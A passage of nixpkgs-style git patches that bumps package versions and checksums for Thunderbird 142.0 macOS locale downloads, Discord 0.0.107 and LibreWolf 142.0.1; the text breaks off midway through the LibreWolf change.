-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/da/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/da/Thunderbird%20142.0.dmg";
       locale = "da";
       arch = "mac";
-      sha256 = "b4ac8827b25a116920ea88972fc9c423eb4b3f2f7e2cde6790365501f121c0b2";
+      sha256 = "a52639170237e264d8301b654047f35586f32286c889d29e5cd6670eb4e19dce";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/de/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/de/Thunderbird%20142.0.dmg";
       locale = "de";
       arch = "mac";
-      sha256 = "365e18dc39a980fd5c259dc0082834a02d2aeb63189b1b441880e15553eb1b26";
+      sha256 = "7607cf3b58c03166284c46d7f6363b03815ee0bfd9cae9fdcb974d824f3343be";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/dsb/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/dsb/Thunderbird%20142.0.dmg";
       locale = "dsb";
       arch = "mac";
-      sha256 = "05676294cccb6ed1e17c4e2dcb01f3d85e4a43a14419e9c0a4fb5965dd14e94d";
+      sha256 = "ee6e129075cbc5f27dbc561feeea50fb0e7cc7e533639d2ec3a83a697d4bf587";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/el/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/el/Thunderbird%20142.0.dmg";
       locale = "el";
       arch = "mac";
-      sha256 = "749f87d70e6fd0b9154fd137527259540afd3fc2419eff004f7da625b912295f";
+      sha256 = "3577648972809609e60711f5f514892bcd5a5f1125c5da096a7f79f77abee25b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/en-CA/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/en-CA/Thunderbird%20142.0.dmg";
       locale = "en-CA";
       arch = "mac";
-      sha256 = "37fcb0879c7e0b6118a0820223432db7eee2678366beb996a044ced5a060f6da";
+      sha256 = "70925846198cb31c6653f3cde56aa788a90b1d507878645b7e2f20358c4583be";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/en-GB/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/en-GB/Thunderbird%20142.0.dmg";
       locale = "en-GB";
       arch = "mac";
-      sha256 = "6300f4d92ef6b548d751a8d695bfce687c38e86176ab37a249bad48ec62d9708";
+      sha256 = "c1ec3a624efe46f5cebeb26daabb9494affbcfcfe426d541ef53781594e42a72";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/en-US/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/en-US/Thunderbird%20142.0.dmg";
       locale = "en-US";
       arch = "mac";
-      sha256 = "96eefb7c37b75921e14a72bf441f037fc7c7d3ff0e8b4303eed9dffea059e04f";
+      sha256 = "2e7b818a3aedc12ad0adf35962e2eae603513973d35b50b3b353739d46e1fe51";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/es-AR/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/es-AR/Thunderbird%20142.0.dmg";
       locale = "es-AR";
       arch = "mac";
-      sha256 = "5f2bce275c998cfccac7d5b82ceb4ba326bd7eb117516abbbc133a74118f447e";
+      sha256 = "5feb5ce413813077eb59876b6feba7960f6d71d32999f2c14d873a6f51cfd2f3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/es-ES/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/es-ES/Thunderbird%20142.0.dmg";
       locale = "es-ES";
       arch = "mac";
-      sha256 = "0231315dc91fca660f8fde0ee85509debd511cf78c11a375f94135de3ce2cce4";
+      sha256 = "fabed9f27820ee1853a55bd801dab8ef3d0d0b250677af38c8eac780f0b6219d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/es-MX/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/es-MX/Thunderbird%20142.0.dmg";
       locale = "es-MX";
       arch = "mac";
-      sha256 = "6bac155a2449069272bd75f0a1f9d38080c999cc78122b59cb528943a0bae325";
+      sha256 = "9d49344bdd528cc6336b876948637475798aff36710ec1f0d689fc78ac79d3f0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/et/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/et/Thunderbird%20142.0.dmg";
       locale = "et";
       arch = "mac";
-      sha256 = "6a4b8bc419c22444443eeaccac4bd5a4281c5efbee90496bf7f97a6c0b6276f7";
+      sha256 = "703f592cb763158734eb061a29e7f5c16ec9a8c178dca70d40e22922fd9dead9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/eu/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/eu/Thunderbird%20142.0.dmg";
       locale = "eu";
       arch = "mac";
-      sha256 = "c2002185a0ef8654fec9c6c79d553997c09a8d647471a0ca329cbe6d221357a4";
+      sha256 = "a2bc9dd4f59f8ba2a93a28cd74911382d7862c640cb21e4fc3f566c6a615832f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/fi/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/fi/Thunderbird%20142.0.dmg";
       locale = "fi";
       arch = "mac";
-      sha256 = "a6b07435361153e1bce27801fa716272d3fc42716c3366acb53573496b6a90bd";
+      sha256 = "3b2813ca618a78679280a50035d4ea748d9088d9c41ea9b42560716c7c00832e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/fr/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/fr/Thunderbird%20142.0.dmg";
       locale = "fr";
       arch = "mac";
-      sha256 = "9581024c69846acb002b6c6451c21042b093e616ff3dbe5863e002d7cded996b";
+      sha256 = "cbe0a8826a535ace20d432eab1924840075941fd6702513da45672cbbd845bf6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/fy-NL/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/fy-NL/Thunderbird%20142.0.dmg";
       locale = "fy-NL";
       arch = "mac";
-      sha256 = "608320e4c6d13abc426e54d7868306464a1e127ed3b497ac955fe888d960fc87";
+      sha256 = "731207409e7b72a0243313fa57d10f73d75a225c7330cb212b323a3128cffe9f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/ga-IE/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/ga-IE/Thunderbird%20142.0.dmg";
       locale = "ga-IE";
       arch = "mac";
-      sha256 = "9ec25930a5b07dff62f3cab18beb7cd7478c3f236d2483d9c59d55b7cba6e856";
+      sha256 = "2e47f24ed6c7ce3dfd6a2c1af8bf3b844020628acb3acb0dc27e4f901d9b6a8a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/gd/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/gd/Thunderbird%20142.0.dmg";
       locale = "gd";
       arch = "mac";
-      sha256 = "836623763272e090a8074e840e61ea889dc151d98e7977bee7b04b005e84ef94";
+      sha256 = "090a693ba84c4c53f1a404d8947a7e4a2c354fb1e9cb1c0cda2c6bb92a1729f8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/gl/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/gl/Thunderbird%20142.0.dmg";
       locale = "gl";
       arch = "mac";
-      sha256 = "f47002972dfd09f0f24614d2ae1da85903fbc7409f75fd16fc6430f555660c46";
+      sha256 = "1d5bc38e9f27400b2bd009bb21e6e19ed935378b85562a1edb1395e155078b91";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/he/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/he/Thunderbird%20142.0.dmg";
       locale = "he";
       arch = "mac";
-      sha256 = "f854eca41c6022a7d6fab50273cba7af01a2bd973eb85116077f629414d61868";
+      sha256 = "6ecfd0a61e47e01db8ae14f02e7f790bff135c64e9c701727f343a6950764e77";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/hr/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/hr/Thunderbird%20142.0.dmg";
       locale = "hr";
       arch = "mac";
-      sha256 = "a9f10564066a0553c8b21ad52736980ea5eb14ac99c4611f63a82ac1083461e6";
+      sha256 = "47a3367020d9a2b3974cff4ca09770eafd843261bfd2c111d9bbf1e3233decbe";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/hsb/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/hsb/Thunderbird%20142.0.dmg";
       locale = "hsb";
       arch = "mac";
-      sha256 = "56b2b69f0b767f57067c7daff449fa64d48a94dfd7b726a27f45846e3acf6293";
+      sha256 = "26bea32d39f6ff4c98cb1fbd751622aa5ef0b4e0880d2b68312f1dd8009041ca";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/hu/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/hu/Thunderbird%20142.0.dmg";
       locale = "hu";
       arch = "mac";
-      sha256 = "8a992416e499555800c93c3cae0c67ef9e01699ab66acbeb46fe5b88e6014783";
+      sha256 = "963fe02fc3d0fcbba0d6a88923961b6b851bb266dfed583cd28922f1ef16445b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/hy-AM/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/hy-AM/Thunderbird%20142.0.dmg";
       locale = "hy-AM";
       arch = "mac";
-      sha256 = "5b2f4f0e4b706dba1bb9af59681c82939c5a78303fa9ed0b8a12ae434607bac3";
+      sha256 = "748c7f0dd88aaa2f8ddcfd62dce36ac764806bc2319a012fc007a75ca761cfd0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/id/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/id/Thunderbird%20142.0.dmg";
       locale = "id";
       arch = "mac";
-      sha256 = "47d9903004dc3b9b281ed3c0b2e607253340cb42fe9e706db13d8b54e6c79f7e";
+      sha256 = "d24effa70c9fadc9073a76a5a06b193306356694706a6baa495b26c150fc10e4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/is/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/is/Thunderbird%20142.0.dmg";
       locale = "is";
       arch = "mac";
-      sha256 = "d182714173b28c64df7da645a48103d49789875f3631d7c780b093847bd211d3";
+      sha256 = "724f75d9c8f0fc3030326d3e764b7d061d7b29f105947ddc5ee69b70e1f5ecbe";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/it/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/it/Thunderbird%20142.0.dmg";
       locale = "it";
       arch = "mac";
-      sha256 = "2c5261c937e7692f13c34d7579f1503cef948472d44941e14a546382ed70b8b2";
+      sha256 = "dbd2b49e3f3a38de8f09dbea032d04d071db9b85af0adadb47a866d0086fe3b5";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/ja-JP-mac/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/ja-JP-mac/Thunderbird%20142.0.dmg";
       locale = "ja-JP-mac";
       arch = "mac";
-      sha256 = "914f220e69386662bf69579126f76e32f9dcd644f2f078b4ed4627b392fe7241";
+      sha256 = "7d28dc46bb984ee8e3492dcd60fe647997df98a42f03f127509fa67fed280d2f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/ka/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/ka/Thunderbird%20142.0.dmg";
       locale = "ka";
       arch = "mac";
-      sha256 = "897090d3276194c1a9f902643607cb084b68260fb2db191c0e3c7fa3c7589ab1";
+      sha256 = "c059b7f3863ae7ebfaaccc17821c7d59e337fdfb41e9bd7b7a86a211d7fec5bd";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/kab/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/kab/Thunderbird%20142.0.dmg";
       locale = "kab";
       arch = "mac";
-      sha256 = "2123ca3320b119babbe81ca3bae965d961213a42d0f04bedd4aaf3acb29909fb";
+      sha256 = "d24ae67981eff6fcd76600505dfb21e41320e8577eb78acce9f8997ef3b9d087";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/kk/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/kk/Thunderbird%20142.0.dmg";
       locale = "kk";
       arch = "mac";
-      sha256 = "4512ff97d4772719781d8df896cbbf2659dc8c41adf6f65f473246536b179f01";
+      sha256 = "8c14c9316f25197b489004c0c49fcb1745de9edb203b6fc9e4e3f38f190844bb";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/ko/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/ko/Thunderbird%20142.0.dmg";
       locale = "ko";
       arch = "mac";
-      sha256 = "7baa261979475a26b5a926c00de9c6513a55061b186c22dd300edbda41a4773a";
+      sha256 = "e88cd06cbdc0846afa479cc1ae6fad25dcc2cc48928f2cbdb94c7c0542e44b85";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/lt/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/lt/Thunderbird%20142.0.dmg";
       locale = "lt";
       arch = "mac";
-      sha256 = "d267c7b3c8496a99cb7f61a86bc120146f27bf1e68bbff04b09a11a9f98a3de5";
+      sha256 = "f0e7de837d956a2416521a5cc80330545a7898384f3dd1bce9aa98b632e7d10b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/lv/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/lv/Thunderbird%20142.0.dmg";
       locale = "lv";
       arch = "mac";
-      sha256 = "7d36d465b4b7a2e6e382495581de59db26cb7ce2989532450ec9aed5181f2b47";
+      sha256 = "540180f19414a5e3f7bdc7bf336621e902b87bb2479795a0c89f368e656a3362";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/ms/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/ms/Thunderbird%20142.0.dmg";
       locale = "ms";
       arch = "mac";
-      sha256 = "3e62ddffd2136478586e3d076d7e4134ca0e4590b0a18549c19c874dbd24f628";
+      sha256 = "8ea6ffb506848b649bf4780142c38b3a6caed4af2a287b77aa977fc8c82bfac2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/nb-NO/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/nb-NO/Thunderbird%20142.0.dmg";
       locale = "nb-NO";
       arch = "mac";
-      sha256 = "9a077ac24b4407f936b06ff86a9a63396c0821e124ceed33ed550f662ec5c858";
+      sha256 = "defbdfbd1b63f02efba8d58f189e2b063981481e7fd059c8fa976c7db4c0e0f2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/nl/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/nl/Thunderbird%20142.0.dmg";
       locale = "nl";
       arch = "mac";
-      sha256 = "cc17dbf711a5890ce42ed534b4b2d90984e8f2d3563b7736189081a2e58eb668";
+      sha256 = "a65413584a27851758b9bb31f5778d942fb76fb53d60c7f5bea66b700c7d3384";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/nn-NO/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/nn-NO/Thunderbird%20142.0.dmg";
       locale = "nn-NO";
       arch = "mac";
-      sha256 = "6d47c5ae8e01d443421ab674660cc8546036827af62fae614f8fad0b66d91cc9";
+      sha256 = "74d8fff80f512759952e41814dad03415b2f7d947fbc9325f9e53b824762cb30";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/pa-IN/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/pa-IN/Thunderbird%20142.0.dmg";
       locale = "pa-IN";
       arch = "mac";
-      sha256 = "1b153660dcc8eab58df087174a2b3eea426778a987af026fe01d6e740d60a3bf";
+      sha256 = "bb15d71fbe1770f420bbdb98a2f34f04ec303141b45407f77e671aa832f434f8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/pl/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/pl/Thunderbird%20142.0.dmg";
       locale = "pl";
       arch = "mac";
-      sha256 = "76ebfd2c35a566ceeb2a060c37b03be3818acab7345c9e740d009b90afa6c06f";
+      sha256 = "288e72075a5d67145b15f0474fb51a24623399a222981554fc9bd093de3fc5b3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/pt-BR/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/pt-BR/Thunderbird%20142.0.dmg";
       locale = "pt-BR";
       arch = "mac";
-      sha256 = "1ee45a1943fc3884594bf1f33bc685925b76f0e996bf80140be24f19d1975472";
+      sha256 = "3bf0067176097638e4ff21a81be07acd18275e0e482167a5cefeba346018c872";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/pt-PT/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/pt-PT/Thunderbird%20142.0.dmg";
       locale = "pt-PT";
       arch = "mac";
-      sha256 = "9c9b45702ba9dd5446a4c61adb170d94654655e0ce6b38cec0afb3acf0d2990e";
+      sha256 = "9bb9809d9485fa0e53e83c0889ff53d469647860cdb9d9efa7ad3d5bafbcfe1a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/rm/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/rm/Thunderbird%20142.0.dmg";
       locale = "rm";
       arch = "mac";
-      sha256 = "7d6eea3ece15c512c7b3fbe11e7fe0fdf8a00ec9da2522881e3be1c0d9c0d4b6";
+      sha256 = "e27985cce848baa307f37ce0a4e4b5604ca30c95990430bc5b36ec0cca670f83";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/ro/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/ro/Thunderbird%20142.0.dmg";
       locale = "ro";
       arch = "mac";
-      sha256 = "9bd37eaaaa6cbb3238d787a1cecd48d87cebef13a97b96186143d74497e3becb";
+      sha256 = "59fc6c6e0f455fe252f9ae9f087d6177d885d831578e5f5e65baa13458466f58";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/ru/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/ru/Thunderbird%20142.0.dmg";
       locale = "ru";
       arch = "mac";
-      sha256 = "7a265ace72210afd5ee969565861a390a308e2357b3adbe3d27aa8c751c4a88f";
+      sha256 = "82d2ef77108fc302621c2a293bb849bd57f5caed729af9b4a37460ce0b8a2315";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/sk/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/sk/Thunderbird%20142.0.dmg";
       locale = "sk";
       arch = "mac";
-      sha256 = "4734e9cc1758c9ee7e735228940c74309aeb11cb98de8bdd92f9aa93fd6e62ed";
+      sha256 = "dbf4f308f2436c8f932c85959d98f1e93d1ba163656161b98703bb1b41121c60";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/sl/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/sl/Thunderbird%20142.0.dmg";
       locale = "sl";
       arch = "mac";
-      sha256 = "761457a8aba8ba260da9f812e87058d74e7c0f8e27160f93777400d35ccff42b";
+      sha256 = "c2200ea27cd04a2fa0c8e2c1fc3523eb69a31c255cf11ac6ca0cf8155a0b7095";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/sq/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/sq/Thunderbird%20142.0.dmg";
       locale = "sq";
       arch = "mac";
-      sha256 = "bbd056fb5c6b5f043a592f0e3e4723f3eb500a49bb88a3e7631dd6fa67287f6f";
+      sha256 = "34316b8ce26ece8491df2d29468d349275ae79bfc7c4ffd1072e3b8255727fa8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/sr/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/sr/Thunderbird%20142.0.dmg";
       locale = "sr";
       arch = "mac";
-      sha256 = "1d4d78d957e44fea001c0721e6fc2e0bbfeb907cb85f3c0ec15938e1822d6b3f";
+      sha256 = "b7ed5f85941661fd6abb490221b3c3428d01ab03647926902d8b25528f08934d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/sv-SE/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/sv-SE/Thunderbird%20142.0.dmg";
       locale = "sv-SE";
       arch = "mac";
-      sha256 = "4bdc3f46e20c5906dd6ef107f5ebe173788471e0e9d21e0cbd90cacd4d2eb515";
+      sha256 = "bb2793a2c8651c7a764c030d0e445f25a65bbc8945a752ab4ecf60dbad6116c0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/th/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/th/Thunderbird%20142.0.dmg";
       locale = "th";
       arch = "mac";
-      sha256 = "4354cee3cd4302a5118801c8bd076b282493cdc6e49522269777433b2b207391";
+      sha256 = "2356fba2343723ef4ad8b8c0b7c0fa727d61c6772cae56e9f45ad4141eb6a9ad";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/tr/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/tr/Thunderbird%20142.0.dmg";
       locale = "tr";
       arch = "mac";
-      sha256 = "c2b596ae7302df6af6c6431b48a56207525bf13a99cf3dc2afd9f14d58c330a9";
+      sha256 = "9783d1c8e80b817f960417c09e9e4f40c8aea9613b2251ce958fb2c977b59017";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/uk/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/uk/Thunderbird%20142.0.dmg";
       locale = "uk";
       arch = "mac";
-      sha256 = "41cd949dce748f3eb6aa0f4bd3d82c3693a75e4cd77eeb62b7cda2bc4a9b2ea9";
+      sha256 = "4feb83b2d4bc6ec505a736c4c298eea5d9e86edd0a55b9ffa76a5ce23b423506";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/uz/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/uz/Thunderbird%20142.0.dmg";
       locale = "uz";
       arch = "mac";
-      sha256 = "b75f9e5ad3a0b78c1fb8948140c550cb0bcfa6daebdf8b3ebdb27f2359465fd1";
+      sha256 = "e7147f2261f9599a5937cbbbd9026f1e0f718938970f9991fc37aabc1ee70d59";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/vi/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/vi/Thunderbird%20142.0.dmg";
       locale = "vi";
       arch = "mac";
-      sha256 = "eba46c60236a3616078be2e5bbb85def75b41818974975f141ff2956ece633e6";
+      sha256 = "ce05525b39ce21dada498af5f8979f06f9e6e62b315d34689692f07e579965db";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/zh-CN/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/zh-CN/Thunderbird%20142.0.dmg";
       locale = "zh-CN";
       arch = "mac";
-      sha256 = "4bca83d5949399da5355b8520c6d1eb914cc685e587d6f1161ab1dceb3e27aca";
+      sha256 = "ba43571dbbe5e8f222a729c06bb9f324c01a637f8c74ed5e2d9f54701b99d771";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/zh-TW/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/zh-TW/Thunderbird%20142.0.dmg";
       locale = "zh-TW";
       arch = "mac";
-      sha256 = "a9e5beea2b1c44530904a4c26aeb1b6b3b86670e488a3d61f8e73f342b3704a7";
+      sha256 = "08162db6cf90ba0cba0bbea9b66e4ef6bfa429b84c13e23ee3dfa84d8ef2e603";
     }
   ];
 }

From 767e8445d8e681ce7c519a55e354fb26c58bcbcd Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 29 Aug 2025 04:33:02 +0000
Subject: [PATCH 4050/4511] discord: 0.0.104 -> 0.0.107

(cherry picked from commit a804db4435c95084b6dc89f876452beb64719244)
---
 .../networking/instant-messengers/discord/default.nix         | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/discord/default.nix b/pkgs/applications/networking/instant-messengers/discord/default.nix
index a9b27084feca..cf639b34ae8c 100644
--- a/pkgs/applications/networking/instant-messengers/discord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/default.nix
@@ -9,7 +9,7 @@ let
   versions =
     if stdenv.hostPlatform.isLinux then
       {
-        stable = "0.0.104";
+        stable = "0.0.107";
         ptb = "0.0.156";
         canary = "0.0.745";
         development = "0.0.84";
@@ -26,7 +26,7 @@ let
     x86_64-linux = {
       stable = fetchurl {
         url = "https://stable.dl2.discordapp.net/apps/linux/${version}/discord-${version}.tar.gz";
-        hash = "sha256-4w8C9YHRNTgkUBzqkW1IywKtRHvtlkihjo3/shAgPac=";
+        hash = "sha256-uL923Fc8Io0GUnQjaAl7sRahL6CO/qzNzkqk/oKkZCo=";
       };
       ptb = fetchurl {
         url = "https://ptb.dl2.discordapp.net/apps/linux/${version}/discord-ptb-${version}.tar.gz";

From 2f6d56a2057b4b9034720837444c183d0039dcae Mon Sep 17 00:00:00 2001
From: Dominic Wrege <dominic.wrege001@stud.fh-dortmund.de>
Date: Fri, 29 Aug 2025 16:14:39 +0200
Subject: [PATCH 4051/4511] librewolf-unwrapped: 142.0-1 -> 142.0.1-1

(cherry picked from commit a5ae7b9504471317986edeaab080b5e608c08a5a)
---
 .../networking/browsers/librewolf/src.json             | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/applications/networking/browsers/librewolf/src.json b/pkgs/applications/networking/browsers/librewolf/src.json
index ac3afeac899e..c247bac2ebed 100644
--- a/pkgs/applications/networking/browsers/librewolf/src.json
+++ b/pkgs/applications/networking/browsers/librewolf/src.json
@@ -1,11 +1,11 @@
 {
-  "packageVersion": "142.0-1",
+  "packageVersion": "142.0.1-1",
   "source": {
-    "rev": "142.0-1",
-    "hash": "sha256-/bn9xeDxnJCQol/E8rhS8RVhpUj7UN+QScSIzLFnZ/o="
+    "rev": "142.0.1-1",
+    "hash": "sha256-frAMrNEGv36+SshorhjnOimT3bKe9uLaDjxbuqSp39c="
   },
   "firefox": {
-    "version": "142.0",
-    "hash": "sha512-sMHHZgg6MKkrd9zxalhNn7NBzYEdIcOjTaTNDXFP1q3HO2CAktZgWGl7xFYvqsxEhZFT5J/9624U4Fnlny6iRg=="
+    "version": "142.0.1",
